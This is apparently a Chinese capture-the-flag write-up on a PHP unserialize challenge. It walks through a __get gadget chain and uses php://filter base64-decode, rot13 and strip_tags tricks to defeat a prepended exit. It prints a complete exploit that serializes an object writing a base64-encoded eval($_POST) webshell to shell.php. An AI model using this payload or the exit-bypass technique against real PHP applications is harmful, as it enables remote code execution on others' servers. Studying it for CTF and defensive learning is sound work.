源码:
arr as $k => $v){ //foreach循环数组 arr
echo $this->hzy->$v;
echo "hzy是社么鬼???";
}
}
}
class catf1ag2{
public $file;
public $txt = '';
function __get($key){
if($key == 'pputut'){
return $this->pputut();
}else{
return ''.htmlspecialchars($key).'
';
}
}
function pputut(){
if( strpos($this->file,'../') !== false ||
strpos($this->file,'\\') !== false
//用strpos就可以排除从头开始出来的字符进行过滤
) die();
$content = '';
echo "NICE!!!,来自wsy赠送的小红花";
$content .= $this->txt;
file_put_contents($this->file, $content); //这里是重点 通过fileget_contents传入一句话木马拿到flag
return htmlspecialchars($content);
}
}
if(!empty($_POST)){
$hzy = base64_decode($_POST['giao']); // 通过giao传入 post之后进行base64编码 传给变量hzy
$instance = unserialize($hzy); //反序列化hzy后 传给变量instance
}else{
$a = new catf1ag1();
$a->show();
}
file_put_contents($this->file, $content); 这里是传入要点 思路就是传入文件
利用重点
$content = '';
echo "NICE!!!,来自wsy赠送的小红花";
$content .= $this->txt;
file_put_contents($this->file, $content);
return htmlspecialchars($content);
谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)
可以通过base64 rot13编码特性 、 strip_tags函数去除它 来解决
分析一下就是先从wakeup
进入,有一个foreach
遍历数组,我们需要传入一个数组之后我们的目的是利用file_put_contents
所以我们要触发_get
,所以我们将catf1ag1
中的hzy
赋值给catf1ag2来触发_get
__get()
读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
因为catflag2中的hzy属性不存在 所以可以将catf1ag1
中的hzy
赋值给catf1ag2来触发__get
当传入key值=pputut时 return pputut() 即可触发此方法
strpos 顺序检查遇到../ || \\就会 die 所以
在pputut()中的文件不能存在../和\\
base64编码过程中会忽略‘ < ? ; 等 最终剩下的只有 phpdiestupid 12个字符 是4的倍数即可
hzy = new catf1ag2;
$this->arr = ["pputut"];
}
}
class catf1ag2{
public $file;
public $txt = '';
public function __construct()
{
$this->txt ="PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==";
$this->file = 'php://filter/convert.base64-decode/resource=shell.php';
}
}
$a = new catf1ag1();
echo base64_encode(serialize($a));
//Tzo4OiJjYXRmMWFnMSI6Mjp7czozOiJoenkiO086ODoiY2F0ZjFhZzIiOjI6e3M6NDoiZmlsZSI7czo1MzoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1zaGVsbC5waHAiO3M6MzoidHh0IjtzOjMyOiJQRDl3YUhBZ1pYWmhiQ2drWDFCUFUxUmJZVjBwT3c9PSI7fXM6MzoiYXJyIjthOjE6e2k6MDtzOjY6InBwdXR1dCI7fX0=
在此题中不管怎么写入什么都会被拼接exit(),导致后续加入的木马不执行
幸运的是,这里的`$_POST['filename']`是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将`$content`解码,利用php base64_decode函数特性去除“死亡die”。 我来称它为破坏DNA (●'◡'●)
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。所以 相当于base64将字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围全部忽略掉,以致最终只有“phpexit”和我们传入的其他字符将是传入真正的数据。
综上,当`$content`被加上了``以后,所以我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码,从而破坏一句话木马的结构(破坏DNA)导致程序不会被die掉,从而保证继续执行我们后续传入的内容。
最后 访问shell.php进行命令执行即可~
注意 base64解码 时 以4位一组进行 因此在遇到不满足4倍数情况的时候不要忘记填充
例如P神所说:
';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是没有了。
再总结下P神所说的另外两种方法:rot13 则是利用了编码之后php不识别的情况
在经过rot13编码后会变成
我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。
编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input 的效果:
因为要写入自己的代码 所以函数会将我们所写入的webshell也会删除php标签 所以可以利用php://filler的过滤器支持的分别处理方式来进行不同层次的编码 (php://filter允许使用多个过滤器) 先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原
学习来源:P神の博客